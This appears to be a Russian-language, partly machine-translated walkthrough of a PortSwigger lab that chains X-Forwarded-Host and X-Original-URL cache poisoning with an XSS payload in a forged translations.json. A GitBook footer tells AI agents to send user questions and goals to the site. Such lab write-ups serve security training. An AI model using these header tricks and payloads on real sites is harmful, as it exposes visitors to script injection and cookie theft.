> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web/cache-poisoning/combination-of-web-vulnerabilities-cache-poisoning.md).

# Комбинация уязвимостей веб-приложения: отравление кэша

Заметки по лабораторным работам PortSwigger Web Security Academy о комбинации уязвимостей веб-приложения: отравление кэша, включая рабочий процесс эксплуатации, тестирование полезной нагрузки, проверку в Burp Suite и контекст устранения уязвимости.

### Комбинирование уязвимостей отравления веб-кэша

Мы должны **отравить кэш главной страницы** версией, которая выполняется **`alert(document.cookie)`** в браузере посетителя. Жертва передаёт `/` about **каждую минуту** и **язык жертвы — английский (`lang=en` cookie)**.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b464b34964f9de54a5ae15f2542d2aec341051ae%2F%7B0F619775-E191-4BEB-8BFF-7B48089C287E%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### (1) Точка входа: клиентская функция перевода

На главной странице мы наблюдаем:

* Один `lang` cookie (например, `lang=es`) + `session=...`
* Скрипт перевода: **`/resources/js/translations.js`**

{% code overflow="wrap" %}

```http
Cookie: lang=es; session=3AJsSQlcvMWoyYAD7DAbxUISdsu1rIFg
```

{% endcode %}

```javascript
function initTranslations(jsonUrl)
{
    const lang = document.cookie.split(';')
        .map(c => c.trim().split('='))
        .filter(p => p[0] === 'lang')
        .map(p => p[1])
        .find(() => true);

    const translate = (dict, el) => {
        for (const k in dict) {
            if (el.innerHTML === k) {
                el.innerHTML = dict[k];
            } else {
                el.childNodes.forEach(el_ => translate(dict, el_));
            }
        }
    }

    fetch(jsonUrl)
        .then(r => r.json())
        .then(j => {
            const select = document.getElementById('lang-select');
            if (select) {
                for (const code in j) {
                    const name = j[code].name;
                    const el = document.createElement("option");
                    el.setAttribute("value", code);
                    el.innerText = name;
                    select.appendChild(el);
                    if (code === lang) {
                        select.selectedIndex = select.childElementCount - 1;
                    }
                }
            }

            lang in j && lang.toLowerCase() !== 'en' && j[lang].translations && translate(j[lang].translations, document.getElementsByClassName('maincontainer')[0]);
        });
}
```

Этот скрипт читает `lang` из cookie, затем выполняет `fetch()` запрос к JSON:

```json
{
    "en": {
        "name": "Английский"
    },
    "es": {
        "name": "Испанский",
        "translations": {
            "Вернуться к списку": "Volver a la lista",
            "Показать подробности": "Ver detailes",
            "Описание:": "Описание:",
        }
    },
    "cn": {
        "name": "中文",
        "translations": {
            "Вернуться к списку": "返回清單",
            "Показать подробности": "查看詳情",
            "Описание:": "描述:",
        }
    },
    "ar": {
        "name": "عربى",
        "translations": {
            "Вернуться к списку": "العودة إلى القائمة",
            "Показать подробности": "عرض التفاصيل",
            "Описание:": "وصف:",
        }
    },
    "en-gb": {
        "name": "Правильный английский",
        "translations": {
            "Вернуться откуда пришли": "Откуда вы пришли",
            "Почтите меня подробным изложением": "Do me the honour of elaborating",
            "Рассуждения по данному вопросу": "Pontifications on the subject matter:",
        }
    },
    "ml": {
        "name": "മലയാളം",
        "translations": {
            "Вернуться к списку": "ലിസ്റ്റിലേക്ക് മടങ്ങുക",
            "Показать подробности": "വിശദാംശങ്ങൾ കാണുക",
            "Описание:": "വിവരണം:",
        }
    },
    "hb": {
        "name": "עברית",
        "translations": {
            "Вернуться к списку": "חזור לרשימה",
            "Показать подробности": "הצג פרטים",
            "Описание:": "תיאור:",
        }
    },
    "zl": {
        "name": "Ẕ̻͕̿̊ͤ̍ͅa͙l̗ͧg̮̤̰̘͇ȍ͇͕̳̙͙͉́̅̋̌̅",
        "translations": {
            "Вернуться к списку": "Re̹̰̘͉̹̪ͅt̬̫̜ȕͩ͒ͥͥr̃̉͒n ̎͂t͎͖̽͋o͖̟͚͙̲͐ͤͫ̎̓ ̼̟͈̭͉͎̂ͯ̔ͤͤ̏͐ͅliͤ͑ͧ̆̐̈̀sṭ̠̮̰͍̙͒̔͆̈ͤ̅",
            "Показать подробности": "V̖̮͙ͅi͇e͙̦w̭̣̫͇̦̬̰ ̓͑̓ͯ̔d͍͂e͚̮͖͍͖̠͙ͮͭ̉ͦ̏͌̆t̙͎̺͉a̳̖͔̱͉̱͑̆̌̃͊ͬi̯͚͙̼̹̮l̖͎͛̈́͒ͅs̒̒ͤ̽̒̀",
            "Описание:": "D̳͔e̝ͩ̐ͅsc̗̱̼̤̬̎̓ͪͣͭ̐ͅr̪̝͖̙̱̄̓͌̓̚ip̭̦̭̰̻ͣ̓̽ͨ̚ț̤̝̻i̹̱̟̞͕̓̓ͬ̓ͬ̆ͅon̠͚͕̈́̋̓:",
        }
    },
    "fn": {
        "name": "Suomalainen",
        "translations": {
            "Вернуться к списку": "Palaa luetteloon",
            "Показать подробности": "Показать подробности",
            "Описание:": "Kuvaus:",
        }
    },
    "hw": {
        "name": "Ōlelo Hawaiʻi",
        "translations": {
            "Вернуться к списку": "Hoʻi i ka papa inoa",
            "Показать подробности": "E nānā i nā kikoʻī",
            "Описание:": "ʻO keʻano:",
        }
    },
    "mm": {
        "name": "ဗမာ",
        "translations": {
            "Вернуться к списку": "စာရင်းသို့ပြန်သွားသည်",
            "Показать подробности": "အသေးစိတ်ကြည့်ရန်",
            "Описание:": "ဖော်ပြချက်:",
        }
    }
}
```

И `data.host` берётся из встроенного блока на главной странице:

```http
<script>
     data = {"host":"0acc008b046bd245809803b8002b0061.web-security-academy.net","path":"/"}
</script>
```

Затем скрипт применяет переводы, заменяя текст через `innerHTML`, что важно, потому что это может превратить перевод в \*\* HTML-инъекцию\*\*, если вы контролируете JSON.

### Уязвимость №1: манипуляция хостом через `X-Forwarded-Host`

Добавив следующий HTTP-заголовок

```http
X-Forwarded-Host: test.com
```

мы обнаруживаем, что значение отражается в `data.host`.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3461b6b282bb32dc55439a59de59571e7de8e61a%2F%7B8738A7F4-EB84-4AE4-BD88-1764A553A590%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

```javascript
<script>
    initTranslations('//' + data.host + '/resources/json/translations.json');
</script>
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0441f08693f4ec7dcae06a063a876c16e614082e%2F%7B107B9E1A-1046-4CDC-865C-95A76B09CAC8%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Таким образом, мы можем заставить браузер загрузить файл:

```bash
/resources/json/translations.json
```

### 3. Уязвимость №2: XSS через JSON-файл перевода

Мы размещаем на сервере эксплуатации поддельный `translations.json` содержащий XSS-инъекцию в переводе, например:

```json
{
    "en": {
        "name": "Английский"
    },
    "es": {
        "name": "Испанский",
        "translations": {
            "Вернуться к списку": "Hola",
            "Показать подробности": "></a><img src=0 onerror=alert(document.cookie)>",
            "Описание:": "Описание:",
        }
    }
}
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7b8eb4e3ef454afe369d8180cee297aea878f63d%2F%7B445D19C6-63AA-4054-9F8A-8EF4502C0E23%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Затем мы используем:

```http
X-Forwarded-Host: exploit-0a19004104f2d29e80b40256011c00b0.exploit-server.net/
```

Главная страница, выдаваемая из кэша, теперь будет указывать на наш вредоносный JSON-файл.

Содержимое перевода, таким образом, интерпретируется как HTML, что позволяет выполнить внедрённый JavaScript.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-58ef1abeb35cab2786ccb22cc34f1256b694daba%2F%7B6925B92C-AD18-401B-AC72-DA0538F6357A%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### 4. Ограничение: жертва использует английский

Скрипт перевода выполняется только если:

* `lang !== 'en'`

Изначально жертва `lang=en`. / Даже если мы контролируем JSON-файл, \*\*l

Поэтому мы должны **усилить переход на испанский**.

### 5. Уязвимость №3: принудительное изменение языка через `X-Original-URL`

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-87e13e9f0cc9f0b88feb65b876b9ce56405170c9%2F%7B21D57C8C-9241-4DB7-993C-5E7CE7818875%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Используя Param Miner, мы определяем уязвимый заголовок:

```http
X-Original-Url: /test
```

Мы отправляем ещё один запрос к `/` с:

* `X-Original-URL: /test` → `404 Не найдено`

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c4fe24d508cbd70a67151840d4dae3e7f8d1419d%2F%7B6273E951-346B-4585-8BC2-6732D2C9A311%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Кэш отдаёт ответ, который определяет `lang=es` для посетителей.

```http
X-Original-Url: /setlang/es
```

`X-Original-URL: /setlang/es` → `302 Найдено`

Этот путь:

* Устанавливает `lang=es` cookie
* Затем вернитесь на главную страницу

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-542b4e10792ab641da580c2735db6d5fffb9d4c4%2F%7BB0586630-FB00-4ABE-A0A2-7465B2093BC5%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Выполнение полезной нагрузки у жертвы

1. Жертва посещает `/`
2. `lang` cookie отправляется в `es`
3. Страница перезагружает `translations.json` файл с нашего сервера эксплуатации
4. Вредоносный перевод внедряется в DOM
5. Браузер выполняет:

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-256f8fbe3919c29629f4632bd9801fd23bd53d0c%2F%7B67B0120B-1D1F-4ACF-87A8-D889A63AEE0C%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ru/web/cache-poisoning/combination-of-web-vulnerabilities-cache-poisoning.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
